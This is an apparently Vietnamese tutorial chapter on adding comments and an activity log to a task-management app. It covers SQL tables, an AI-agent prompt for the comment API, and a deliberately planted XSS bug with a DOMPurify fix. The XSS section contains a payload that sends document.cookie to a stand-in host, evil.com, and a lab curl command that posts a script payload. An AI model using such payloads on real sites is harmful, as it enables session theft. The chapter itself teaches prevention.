Skip to content

Chương 10: Collaboration — Comments & Activity

"Lan: 'Tôi cần biết ai đã làm gì, khi nào. Activity log là must-have.' Hà: 'Và tôi cần test XSS trong comments — user có thể inject script không?'"


🎯 Mục tiêu

  • Build comment system cho tasks
  • Activity log (audit trail)
  • XSS prevention
  • 🐛 Bug #5: XSS in comment rendering

Phần 1: Database Schema (15 phút)

sql
-- Comments
CREATE TABLE comments (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  body TEXT NOT NULL CHECK (char_length(body) BETWEEN 1 AND 5000),
  task_id UUID NOT NULL REFERENCES tasks(id) ON DELETE CASCADE,
  author_id UUID NOT NULL REFERENCES profiles(id),
  created_at TIMESTAMPTZ DEFAULT NOW(),
  updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Activity Log
CREATE TABLE activities (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  action TEXT NOT NULL, -- 'created', 'updated', 'moved', 'commented'
  entity_type TEXT NOT NULL, -- 'task', 'project', 'comment'
  entity_id UUID NOT NULL,
  actor_id UUID NOT NULL REFERENCES profiles(id),
  metadata JSONB DEFAULT '{}',
  created_at TIMESTAMPTZ DEFAULT NOW()
);

ALTER TABLE comments ENABLE ROW LEVEL SECURITY;
ALTER TABLE activities ENABLE ROW LEVEL SECURITY;

Phần 2: Comment API (30 phút)

bash
antigravity "@cm-tdd Build comment system:
File: src/routes/comments.ts

Endpoints:
- POST /api/tasks/:taskId/comments — add comment
- GET /api/tasks/:taskId/comments — list comments (newest first)
- PUT /api/comments/:id — edit own comment
- DELETE /api/comments/:id — delete own comment

Requirements:
- Auth required
- Only comment author can edit/delete
- Auto-create activity log entry
- Sanitize HTML input (prevent XSS)
- TDD: write tests first"

Phần 3: 🐛 Bug #5 — XSS Vulnerability (25 phút)

The Vulnerability

javascript
// 🐛 BUG: Rendering comment without sanitization
function renderComment(comment) {
  const div = document.createElement('div')
  div.innerHTML = comment.body  // DANGEROUS! XSS vector!
  return div
}

// Attack:
// User submits: <script>alert('hacked')</script>
// Or: <img onerror="fetch('https://evil.com/steal?cookie='+document.cookie)" src="x">

Lab: XSS Attack Test

bash
# Test XSS
curl -X POST http://localhost:3000/api/tasks/$TASK_ID/comments \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"body": "<script>alert(document.cookie)</script>"}'

Fix: Sanitize Input

typescript
// Install: npm install dompurify jsdom
import createDOMPurify from 'dompurify'
import { JSDOM } from 'jsdom'

const window = new JSDOM('').window
const DOMPurify = createDOMPurify(window)

function sanitizeHtml(dirty: string): string {
  return DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'code', 'pre'],
    ALLOWED_ATTR: []
  })
}

// ✅ Safe rendering
function renderComment(comment) {
  const div = document.createElement('div')
  div.textContent = comment.body  // Safe: textContent escapes HTML
  return div
}

Phần 4: Activity Log (20 phút)

typescript
// src/services/activity.ts
export async function logActivity(
  action: string,
  entityType: string,
  entityId: string,
  actorId: string,
  metadata: Record<string, any> = {}
) {
  await supabase.from('activities').insert({
    action, entity_type: entityType,
    entity_id: entityId, actor_id: actorId, metadata
  })
}

// Usage in routes:
await logActivity('commented', 'task', taskId, req.user.id, {
  comment_preview: body.substring(0, 100)
})

Homework

  • [ ] Comment CRUD working
  • [ ] XSS prevention tested
  • [ ] Activity log recording all actions
  • [ ] Bug #5 fixed with test

Chương tiếp: File Upload & Supabase Storage →

Powered by CodyMaster × VitePress